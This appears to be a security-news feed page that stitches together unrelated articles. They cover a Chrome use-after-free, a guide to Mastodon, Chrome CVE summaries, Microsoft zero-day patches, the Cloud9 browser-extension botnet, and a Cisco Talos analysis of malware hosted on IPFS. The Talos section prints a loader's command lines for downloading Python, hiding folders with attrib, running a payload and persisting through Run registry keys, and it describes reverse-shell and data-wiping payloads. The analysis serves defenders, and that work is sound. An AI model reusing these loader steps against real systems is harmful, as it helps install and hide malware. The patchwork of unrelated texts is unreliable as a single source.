Chrome suffers from a password_manager::WellKnownChangePasswordState::SetChangePasswordResponseCode heap use-after-free vulnerability.

Chrome password_manager::WellKnownChangePasswordState::SetChangePasswordResponseCode Use-After-Free

By Habiba Rashid
In this article, we will address what is Mastodon and how it works. Basically, this is one of those "everything you should know about" articles. Enjoy! 
This is a post from HackRead.com Read the original post: Your Guide To Navigating Mastodon, an Alternative to Twitter

If you are on Twitter, you may be aware of **what is happening with the social network giant** after billionaire Elon Musk took it over for a whopping $44 billion. Amid the uncertainty of what may come for Twitter, another social network service called Mastodon boasted as Twitter’s alternative has surfaced.

In this article, we will address what is Mastodon and how it works. Basically, this is one of those “everything you should know about” articles.

**What is Mastodon?**

Created by German software developer Eugen Rochko in March 2016, **Mastodon** is free and open-source software with micro-blogging features similar to Twitter, which is why it’s been catching people’s eyes as an alternative to the bird app now dominated by **Elon Musk**.

But you already knew that and might be wondering where “Mastodon” even comes from. Mastodon is the mammoth-like animal depicted as the app’s mascot and looks quite adorable holding a smartphone! 

As people flee from what we would call the _‘_titanic ship’ of apps, Mastodon might be the life raft they need and this is your guide to navigating the app.

What makes Mastodon stand out is that, unlike most social media apps, it is a nonprofit and does not benefit any shareholders and therefore, gives you an ad-free experience. Although it might appear to be similar to Twitter at first, it actually contains a lot of niches you would not find elsewhere. 

**How do you sign up?**

When first creating an account, you have to choose a server to set up your profile with. Your profile’s address will look similar to @@. Comparable to an email address, it allows you to affiliate yourself with a particular server on Mastodon.

The address of Mastodon’s founder, for example, is @Gargon@mastodon.social. People belonging to different servers can still follow each other. If you’re having trouble choosing a server, don’t stress too much about it because you can change your server later on if you wish to. 

**What are ‘instances’?**

This is the term that Mastodon users refer to when they talk about servers. These **instances** can be run by individuals, groups, or organizations and each can have its own set of rules regarding the selectivity when allowing users to join.

Some servers allow anyone to be a member while others are either invite-only or require approval by an admin. All the servers on Mastodon have signed up for the “Mastodon Server Covenant” which promises “active moderation against racism, sexism, homophobia, and transphobia”. 

**What are some of Mastodon’s features?**

Mastodon is a “federated” network, which is why you might have heard it referred to as “**Fediverse**”. This is an interconnected web of various social media services and allows you to use your Mastodon account on other decentralized social networks that support ActivityPub such as PeerTube and Friendica. 

The equivalent of tweets on Mastodon are “toots” which allow users to type a 500 characters post, a lot more than Twitter’s 280-character limit. Retweets are called “boosts” and it does not support the concept of quote tweeting. The lists are slightly different as well since you can only add the people you are already following to them.

Private messages in a DM inbox do not exist but you can send direct messages to friends on Mastodon by typing @username posts. On the plus side, it grants you a lot more control over who can see your post, whether you’d like to be discoverable across the server, only visible to your followers or to those who you mention. 

As for Mastodon’s support for media, it allows users to add images, videos, audio, and polls. Up to four images can be added to a post with a total cap of eight megabytes in size whereas video and audio can be any length but with a file size limit of 40 megabytes.

Although the support for media is far less than what you would find on Twitter, you should keep in mind that it was not designed for a massive global audience and only recently experienced a large influx of users. There is no doubt that this will change soon as more developers join the project in the wake of the Twitter takeover. 

Mastodon also has three different timelines for its users to have an individually unique experience posting and engaging in personal and direct conversations. The Home timeline shows posts from the people you follow, the Local timeline shows posts from all users in your server and the Federated timeline shows all public posts from users that people in your server follow. 

**Can I get verified on Mastodon?**

Although it does not have a universal verification system like the one on Twitter, some servers may require you to prove your identity and you can also self-verify by adding a link to a website you control. It will then recognize you as the owner of that website, giving your followers some justification in trusting that you are who you claim to be. However, it does not have any official check marks that you might be thinking about. 

**Who has joined Mastodon thus far?**

In case you need help figuring out which of your favorite celebrities have moved over to Mastodon to rid themselves of the Twitter drama, you can search for the #TwitterMigration tag on either Twitter or Mastodon and see who is talking about making the move. For now, we have seen DC CEO **James Gunn**, climate change activist **Greta Thunberg** and Dragon’s Den co-host **Deborah Meaden** and even **Stephen Fry** join the site. 

At the time of writing, Mastodon has reached more than a million active users and is likely to grow a lot more but whether it will outshine Twitter is another debate entirely. 

1.  **Tor browser and Its 10 Best Alternatives**
2.  **The Best Alternatives Operating Systems**
3.  **Twitter Data Breach as 5.4M Accounts Sold on Hacker Forum**
4.  **Privacy Protection: Alternative browsers and chrome extensions**
5.  **Researchers hack SpaceX Starlink satellite signal for GPS alternative**

I am a cyber security writer and one of my favourite games is Minecraft. I also really like obscure cat memes and during my free time, if I'm not found hanging around in Discord voice channels with my friends, I'm probably cycling and taking pictures of random cats on the street.

Your Guide To Navigating Mastodon, an Alternative to Twitter

Use after free in Skia in Google Chrome prior to 106.0.5249.119 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVE-2022-3445

Heap buffer overflow in WebSQL in Google Chrome prior to 106.0.5249.119 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVE-2022-3446

Use after free in Permissions API in Google Chrome prior to 106.0.5249.119 allowed a remote attacker who convinced a user to engage in specific UI gestures to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: High)

CVE-2022-3448

Use after free in Safe Browsing in Google Chrome prior to 106.0.5249.119 allowed an attacker who convinced a user to install a malicious extension to potentially exploit heap corruption via a crafted Chrome Extension. (Chromium security severity: High)

CVE-2022-3449: Stable Channel Update for Desktop

Inappropriate implementation in Custom Tabs in Google Chrome on Android prior to 106.0.5249.119 allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page. (Chromium security severity: High)

CVE-2022-3447

By Deeba Ahmed
Microsoft has urged Windows Administrators to install the updates urgently so make sure you have the latest patches installed!
This is a post from HackRead.com Read the original post: Microsoft Issues Patches to Fix 6 Active 0-Day Windows Vulnerabilities

It is no surprise that Microsoft’s products are on the hit list of cyber attacks, given the steadily increasing number of **zero-day attacks against them**. It is the second time in two months that the reputed software maker has released patches to fix already exploited zero-days in its scheduled Patch Tuesday update. The company urged Windows Administrators to install the updates urgently.

 The details of these flaws and the subsequent fixes are as follows:

**Microsoft Fixes Crucial Flaws in Patch Tuesday Update**

According to the tech giant, in its monthly security update, Patch Tuesday, the company has released patches for 68 vulnerabilities, including six unique, actively exploited zero-days. These flaws were flagged in the Exploitation Category. This includes two fixes for **Exchange Server security flaws** that a state-sponsored entity exploited for several months.

Twelve flaws were marked Critical, two of which were rated High, whereas fifty-five were rated Important in severity. The company also released patches for weaknesses fixed the previous week by **OpenSSL**.

Microsoft separately fixed another actively exploited vulnerability, **CVE-2022-3723**. It was detected in Chromium-based browsers.

**Zero-Days Details**

Microsoft’s security response team described four new and already exploited zero-days tracked as **CVE-2022-41125**, **CVE-2022-41073**, **CVE-2022-41091**, and **CVE-2022-41128**.

The CVE-2022-41128 was detected by Google TAG’s Benoît Sevens and Clément Lecigne, found in the Jscript9 component. It occurred when the target was lured to visit a malicious website.

The CVE-2022-41091 is a security bypass flaw in Windows MoTW (Mark of the Web), which was recently discovered to be weaponized by the **Magniber ransomware** actor, and users were targeted with fake software updates. A malicious file could help the attacker evade MoTW defenses that lead to loss of integrity and security features like MS Office’s Protected View, **Microsoft’s advisory read**.

**Microsoft Exchange Server Vulnerabilities**

In addition, they also patched two Microsoft Exchange server flaws tracked as **CVE-2022-41040 and CVE-2022-41082**. These exploits were used for privilege escalation, RCE (remote code execution), and feature bypassing.

The first four flaws impacted the Windows CNG Key Isolation Service, the Windows Print Spooler, Windows Mark of the Web Security, and Windows Scripting Languages. The other two flaws that **affected Exchange Server** entailed an RCE, and a privilege escalation bug, which was actually part of an extended exploit chain that Microsoft believes was exploited by a state-sponsored threat actor.

According to Microsoft, due to security issues, at least ten organizations have been targeted. Both flaws are documented as SSRF (server-side request forgery) issues.

**Critical Vulnerabilities Fixed in November**

Other Critical-rated vulnerabilities were privilege escalation flaws discovered in Windows Kerberos RC4-HMAC (**CVE-2022-37966**), Kerberos (**CVE-2022-37967**), and Microsoft Exchange Server (**CVE-2022-41080**). Moreover, a denial-of-service flaw was also fixed that impacted Windows Hyper-V (**CVE-2022-38015**).

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2.  **Hackers Abusing Microsoft Dynamics 365 Customer Voice**
3.  **Microsoft Office Most Exploited Software in Malware Attacks**
4.  **Apple Safari Safest, Google Chrome Riskiest Browser of 2022**
5.  **Scammers Leveraging Microsoft Team GIFs in Phishing Attacks**

Microsoft Issues Patches to Fix 6 Active 0-Day Windows Vulnerabilities

The Swiss Army knife-like browser extension is heaven for attackers — and can be hell for enterprise users.

A malicious browser extension that works on both Google Chrome and Microsoft Edge allows attackers to remotely take over someone's browser session and carry out a full range of attacks. It's built to steal cookies and other info, mine cryptocurrency, install malware, or take over the entire device for use in a distributed denial-of-service (DDoS) attack — among other things.  

Thanks to this multitool approach, the Cloud9 botnet basically acts like a remote access Trojan (RAT) for the Chromium browser, which is the framework for Chrome, Edge, and some other browsers, researchers at Zimperium zLabs revealed in a blog post Nov. 8.

The malware is comprised of three JavaScript files and has been active since as far back as 2017, with an update in 2020 that proliferated as a single JavaScript that can be included on any website using script tags, researchers said.

Researchers have linked Cloud9 to the Keksec malware group due to the activity of its command-and-control servers (C2s), which point to domains previously used by the gang. The well-resourced group — known for creating various botnets-for-hire — was seen in June weaponizing a Linux botnet called EnemyBot against vulnerabilities in enterprise services. In Cloud9's case, it's likely being sold "for a few hundred dollars" or offered for free to other groups on various hacker forums, researchers said.

"As it is quite trivial to use and available for free, it can be used by many malware groups or individuals for specific purposes," Zimperium zLabs malware analyst Nipun Gupta wrote in the post.

**Enterprise Users at Risk**

The malware offers a veritable buffet of nefarious activity, "purposefully designed to target all kinds of users and serves its purpose of retrieving user information," Gupta wrote. This includes enterprise users, where the botnet can be used to infiltrate a user's machine to propagate further malicious activity.

That said, "the Cloud9 malware does not target any specific group, meaning it is as much an enterprise threat as it is a consumer threat," Gupta wrote. "It is quite clear that this malware group is targeting all browsers and operating systems and thus trying to increase their attack surface."

Core capabilities of Cloud9 include: the ability to send GET/POST requests, which can be used to fetch malicious resources; cookie stealing to compromise user sessions; keylogging for nabbing passwords and other info; and the ability to launch a Layer 4/Layer 7 hybrid attack, which can be used to perform DDoS attacks from victims' machines.

Cloud9 also can detect a user's OS and/or browser to deliver next-stage payloads; inject ads by opening 'pop-unders'; execute JavaScript code from other sources for further malicious code delivery; silently load web pages for ad or malicious-code injection; mine cryptocurrency using the browser or the victim's device resources; or send a browser exploit to inject malicious code and take complete control of the device.

**Browser Escape and a Multifaceted Attack**

Researchers walked through an example of a Cloud9 attack on a Chrome browser, outlining several steps that ultimately perform a slew of nefarious tasks — including mining cryptocurrency from a victim's machine, stealing cookies and clipboard data, and even using exploits to "escape" the browser and execute malware on the victim's device.

The main functionality of the extension is available in a file named campaign.js, JavaScript that also can be used as a standalone and thus can redirect victims to a malicious website that contains the campaign.js script.

The campaign.js starts by identifying the victim's OS and then injects a JavaScript file that mines cryptocurrency using the victim's computer resources, both diminishing the performance of the device while reducing hardware lifespan and increasing energy usage — "which translates into a slow but steady monetary loss," Gupta noted.

Cloud9 then injects another script named cthulhu.js that contains a full-chain exploit for two vulnerabilities — CVE-2019-11708 and CVE-2019-98100 — that target Firefox on a 64-bit Windows OS. Upon successful exploitation, it drops Windows-based malware on the device, enabling the threat actor to take over the entire system.

Researchers also witnessed Cloud9 using other browser exploits for Internet Explorer (CVE-2014-6332, CVE-2016-0189) and Edge (CVE-2016-7200 that, if successful, gives the attacker the same user rights as the current user and can execute code on the victim's device accordingly. Further, if the user is logged on with administrative user rights, an attacker could then install programs; view, change, or delete data; or create new accounts with full user rights, researchers said.

Cloud9 also can use its ability to send POST requests to any domain to carry out Layer 7 DDoS attacks if the attacker has a significant number of victims connected as botnets. In fact, true to its reputation, Keksec likely is selling the extension to provide a botnet service to perform DDoS, Gupta noted.

**Protecting the Enterprise**

Because of the broad capabilities of Cloud9 and the wide attack surface it can generate, enterprise customers should be on alert, researchers said. Indeed, traditional endpoint security solutions don't typically monitor this type of attack vector, which leaves browsers "susceptible and vulnerable," Gupta observed.

It's unclear how Cloud9 is being spread, but so far, Zimperium zLabs has seen no evidence of the malicious extension on the Google Play Store or any other legitimate mobile app shop. For this reason, enterprises should train users on the risks associated with browser extensions that they encounter outside of official repositories, he said. They also should consider what security controls they have in place for such risks in their security posture overall.

Cloud9 Malware Offers a Paradise of Cyberattack Methods

The InterPlanetary File System (IPFS) is an emerging Web3 technology that is currently seeing widespread abuse by threat actors.
Cisco Talos has observed multiple ongoing campaigns that leverage the IPFS network to host their malware payloads and phishing kit infrastructure while facilitating other attacks.
IPFS is often used for legitimate

*   The InterPlanetary File System (IPFS) is an emerging Web3 technology that is currently seeing widespread abuse by threat actors.
*   Cisco Talos has observed multiple ongoing campaigns that leverage the IPFS network to host their malware payloads and phishing kit infrastructure while facilitating other attacks.
*   IPFS is often used for legitimate purposes, which makes it more difficult for security teams to differentiate between benign and malicious IPFS activity in their networks.
*   Multiple malware families are currently being hosted within IPFS and retrieved during the initial stages of malware attacks.
*   Organizations should become familiar with these new technologies and how they are being leveraged by threat actors to defend against new techniques that use them.

The emergence of new Web3 technologies in recent years has resulted in drastic changes to the way content is hosted and accessed on the internet. Many of these technologies are focused on circumventing censorship and decentralizing control of large portions of the content and infrastructure people use and access on a regular basis. While these technologies have legitimate uses in a variety of practical applications, they also create opportunities for adversaries to take advantage of them within their phishing and malware distribution campaigns. Over the past few years, Talos has observed an increase in the number of cybercriminals taking advantage of technologies like the InterPlanetary File System (IPFS) to facilitate the hosting of malicious content as they provide the equivalent of “bulletproof hosting” and are extremely resilient to attempts to moderate the content stored there.

**What is the InterPlanetary File System (IPFS)?**

The InterPlanetary File System (IPFS) is a Web3 technology designed to enable decentralized storage of resources on the internet. When content is stored on the IPFS network, it is mirrored across many systems that participate in the network, so that when one of these systems is unavailable, other systems can service requests for this content.

IPFS stores different types of data, such as the images associated with NFTs, resources used to render web pages, or files that can be accessed by internet users. IPFS was designed to be resilient against content censorship, meaning that it is not possible to effectively remove content from within the IPFS network once it’s stored there.

**IPFS gateways**

Users that wish to access content stored within IPFS can do so either using an IPFS client, such as the one provided here, or they can make use of “IPFS Gateways” which effectively sit between the internet and the IPFS network to allow clients to access content hosted on the network. This functionality is similar to what Tor2web gateways provide to access contents within the Tor network without requiring a client installation.

Anyone can set up an IPFS gateway using a range of publicly available tools. This screenshot shows several of the public IPFS gateways accessible across the internet.

It is simple to store new content within IPFS and once there, the content is resilient against takedowns, making it increasingly attractive to a variety of attackers for hosting phishing pages, malware payloads and other malicious content.

When systems use IPFS gateways to access contents stored on the IPFS network, they typically rely on the same HTTP/HTTPS-based communications used to access other websites on the internet. IPFS gateways can be configured to handle incoming requests in a few different ways. In some implementations, the subdomain specified in the HTTP request is often used to locate the requested resource on the IPFS network as shown in the following example, which is a mirrored copy of Wikipedia hosted on the IPFS network. The IPFS identifier, or CID, for the resource is highlighted below.

hxxps\[:\]//**bafybeiaysi4s6lnjev27ln5icwm6tueaw2vdykrtjkwiphwekaywqhcjze\[**.\]ipfs\[.\]infura-ipfs\[.\]io

In other implementations, the IPFS resource location is appended to the end of the URL being requested, as shown in the following example:

hxxps\[:\]//ipfs\[.\]io/ipfs/**bafybeiaysi4s6lnjev27ln5icwm6tueaw2vdykrtjkwiphwekaywqhcjze**

There are other methods for handling requests using DNS entries, as well. The specific implementation varies across IPFS gateways. Browsers have even begun implementing native support for the IPFS network, removing the need to use IPFS gateways in some cases.

**IPFS use in phishing campaigns**

IPFS is currently being leveraged to host phishing kits, which are the websites that phishing campaigns typically use to collect and harvest credentials from unsuspecting victims. In one example, the victim received a PDF that purports to be associated with the DocuSign document-signing service. A screenshot of one such PDF is shown below.

When the victim clicks on the “Review Document” link, they are redirected to a page made to appear as if it is a Microsoft authentication page. However, the page is actually being hosted on the IPFS network.

The user is prompted to enter an email address and password. This information is then transmitted to the attacker via an HTTP POST request to an attacker-controlled web server where it can be collected and processed for use in further attacks.

We’ve observed several similar examples in phishing campaigns over the past year, as adversaries recognize the content moderation challenges associated with hosting their phishing kits on the IPFS network. In this case, the PDF hyperlink was pointing to an IPFS gateway that moderated the content to protect potential victims and displayed the following message to victims attempting to navigate to it.

However, the content is still present within the IPFS network and simply changing the IPFS gateway being used to retrieve the content confirms this is the case.

**IPFS use in malware campaigns**

There are a variety of threat actors currently leveraging technologies like IPFS in their malware distribution campaigns. It provides low-cost storage for malicious payloads while offering resilience against content moderation, effectively acting as “bulletproof hosting” for adversaries. Likewise, the use of common IPFS gateways for accessing the malicious contents hosted within the IPFS network makes it more difficult for organizations to block access when compared to the use of malicious domains for content retrieval. We have observed various samples in the wild that are currently leveraging IPFS.

Throughout 2022, we’ve observed the volume of samples in the wild continuing to increase as this becomes a more popular hosting method for adversaries. Below is a graphic showing the increase in the number of unique samples relying on IPFS that have been uploaded to public sample repositories.

**Agent Tesla malspam campaign**

We’ve observed ongoing malspam campaigns leveraging IPFS throughout the infection process to eventually retrieve a malware payload. In one example, the email sent to victims purports to be from a Turkish financial institution and claims to be associated with SWIFT payments, a commonly used system for international monetary transactions.

The email contains a ZIP attachment that holds a PE32 executable. The executable, written in .NET, functions as a downloader for the next stage of the infection chain. When executed, the downloader reaches out to an IPFS gateway to retrieve a blob of data that has been hosted within the IPFS network as shown below.

This data contains an obfuscated PE32 executable that functions as the next-stage malware payload. The downloader takes the data from the IPFS gateway and stores each byte in an array. It then uses a key value stored in the executable to convert the byte array into the next-stage PE32.

This is then reflectively loaded and executed, launching the next stage of the infection process, which in this case is a remote access trojan (RAT) called Agent Tesla.

In another example, we observed a variety of malware payloads being uploaded to public sample repositories over a period of several months. We identified three distinct clusters of malware that were likely being created by the same threat actor. Code-level issues suggest that many of the samples were currently undergoing active development while being uploaded, possibly to test detection capabilities.

In all three clusters, the initial payload functioned as a loader and operated similarly, however, the final payload hosted on the IPFS network was different in each cluster. The final payloads we observed included a Python-based information stealer, reverse shell payloads that were likely generated using msfvenom, and a batch file designed to destroy victim systems.

**Initial loader**

The loader used in all of these cases functioned similarly, sometimes hosted on the Discord content delivery network (CDN), a practice that has become increasingly common with malware distributors as previously described here. The file names used indicate that they may have been spread under the guise of cheats and cracks for video games such as “Minecraft.” In most cases, the loader was not packed, but we did observe samples packed using UPX.

When executed, the loader first creates a directory structure within %APPDATA% using the following command:

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft && mkdir Network

The malware then attempts to retrieve Python 3.10 from the legitimate software provider using the cURL command.

This is notable, as the choice to directly leverage cURL may significantly reduce the number of potential victims, as it was not added to Windows as a native command line utility until Windows 11. The command line syntax used to initiate the download is shown below.

C:\Windows\system32\cmd.exe /c curl https://www.python.org/ftp/python/3.10.4/python-3.10.4-embed-amd64.zip -o %appdata%\Microsoft\Network\python-3.10.4-embed-amd64.zip

Once the ZIP archive has been retrieved, it is then unzipped into the directory that was previously created using the PowerShell “Expand-Archive” cmdlet.

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft\Network && powershell Expand-Archive python-3.10.4-embed-amd64.zip -DestinationPath %appdata%\Microsoft\Network

The malware then attempts to retrieve the final payload in the infection chain, storing it within the Network directory using the filename “Packages.txt.” An example of the loader retrieving Hannabi Grabber, an information stealer written in Python is shown below.

The loader then uses the attrib.exe utility to set the System and Hidden flags on the previously created directory as well as the Python ZIP archive and final payload that was retrieved.

C:\Windows\system32\cmd.exe /c attrib +S +H %appdata%\Microsoft\Network

C:\Windows\system32\cmd.exe /c attrib +S +H %appdata%\Microsoft\Network\python-3.10.4-embed-amd64.zip

C:\Windows\system32\cmd.exe /c attrib +S +H %appdata%\Microsoft\Network\Packages.txt

Finally, the loader invokes the newly downloaded Python executable and passes the final payload as a command line argument, executing the next stage of the infection process.

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft\Network && python.exe Packages.txt

In some cases, the malware was also observed achieving persistence via adding entries into the Windows registry at the following locations:

HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon  
HKLM\Software\Microsoft\Windows\CurrentVersion\Run

During our analysis of samples associated with this loader, we observed that the IPFS gateway that was being used was no longer servicing requests, however, Talos obtained the next-stage payloads manually via another IPFS gateways for analysis.

**Reverse shell**

In one of the clusters leveraging this loader, we observed that the payload being hosted within the IPFS network was a Python script containing a large base64 encoded blob along with the Python code responsible for decoding the base64. Note that the following screenshot was redacted for space, as the base64-encoded blob was rather large.

The base64 contained several layers of base64 encoded blobs, each wrapped in Python code responsible for decoding them. After decoding all of the layers, the following is the deobfuscated reverse shell payload.

At the time of analysis, the C2 server was no longer servicing requests on TCP/4444.

**Destructive Malware**

In another cluster we analyzed, we observed that the final payload hosted within IPFS was a Windows batch file, as shown below:

When the batch file is retrieved, it is stored within the Network directory using the filename “Script.bat.”

This batch file is responsible for the following destructive behavior:

*   Deleting volume shadow copies on the system.
*   Deleting directory contents stored within C:\\Users (typically associated with user profiles).
*   Iterating through all mounted filesystems present on the system and deleting contents stored on them.

Fortunately for victims, in the samples analyzed the loader incorrectly attempts to invoke the batch file as shown below.

C:\Windows\system32\cmd.exe /c cd %appdata%\Microsoft\Network && powershell -Command start script.bat -Verb RunAs

**Hannabi Grabber**

The final cluster of malware associated with this loader is responsible for retrieving and executing a Python-based information stealer called Hannabi Grabber. In the samples we analyzed, the Python version retrieved does not natively contain the modules required for the script to successfully execute causing the infection process to fail, however, given the volume of features present in the stealer, we analyzed it to confirm detection capabilities in the case that it is distributed via different mechanisms.

Hannabi Grabber is a full-featured information stealer written in Python. It leverages Discord Webhooks for C2 and data exfiltration. It currently features support for stealing information from a variety of applications that may be present on victim systems. It collects survey information from the infected machine, obtains the geographic location of the system via the IPInfo service, takes screenshots and eventually transmits that data to an attacker-controlled Discord server in JSON format.

Below is a listing of many of the various applications the stealer supports.

In addition to the previously listed applications, the malware also supports retrieving password and cookie data from Chrome, as shown below.

Similar functionality also exists to target Mozilla Firefox browser data that may be present on the system.

The information stealer is particularly interested in Discord and Roblox data. It features several mechanisms that check for the existence of Discord Token Protectors such as DiscordTokenProtector, BetterDiscord and more. If discovered, the malware will attempt to bypass them to obtain Discord tokens from the victim. An example of one of these checks is shown below.

Application data that is collected is stored within a directory structure inside of the %TEMP% directory, in a folder called “RedDiscord” that is created by the malware. Before exfiltrating the data, the malware creates a ZIP archive within the RedDiscord directory called “Hannabi-<USERNAME>.zip.” The malware first transmits beacon information and will then attempt to exfiltrate the newly created ZIP archive.

Hannabi Grabber has a significant amount of functionality that is common to information-stealing malware. Typically, attackers will attempt to leverage PyInstaller or Py2EXE to compile their Python into a PE32 file format prior to distributing it to victims. This is a case where instead, the attacker chose to include a Python installation process during the infection and is leveraging Python directly to steal sensitive information from victims.

**Conclusion**

Many new Web3 technologies have emerged recently, attempting to provide valuable functionality to users. As these technologies have continued to see increased adoption for legitimate purposes, they have begun to be leveraged by adversaries as well. We have continued to observe an increase in the volume of malware and phishing campaigns that are taking advantage of technologies like IPFS for the purposes of hosting malicious components used in malware infections, phishing kits used to collect sensitive authentication data and more.

We expect this activity to continue to increase as more threat actors recognize that IPFS can be used to facilitate bulletproof hosting, is resilient against content moderation and law enforcement activities, and introduces problems for organizations attempting to detect and defend against attacks that may leverage the IPFS network. Organizations should be aware of how these newly emerging technologies are being actively used across the threat landscape and evaluate how to best implement security controls to prevent or detect successful attacks in their environments.

**Coverage**

Ways our customers can detect and block this threat are listed below.

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco’s secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

The following Snort SIDs are applicable to this threat: 60728.

The following ClamAV signatures are applicable to this threat:

*   Win.Trojan.AgentTesla-9974905-1
*   Pdf.Phishing.Agent-9974919-0
*   Txt.Malware.ArtifactDeletion-9974896-0
*   Win.Trojan.AgentTesla-9974906-0
*   Win.Downloader.ReverseShell-9974652-1
*   Win.Loader.Hannabi-9974435-0
*   Win.Trojan.Hannabi\_Grabber-9974436-0
*   Py.Malware.ReverseShell-9974437-0

**Orbital Queries**

Cisco Secure Endpoint users can use Orbital Advanced Search to run complex OSqueries to see if their endpoints are infected with this specific threat. For specific OSqueries on this threat, click here

**Indicators of Compromise**

Indicators of Compromise associated with this threat can be found here.

Tag

#chrome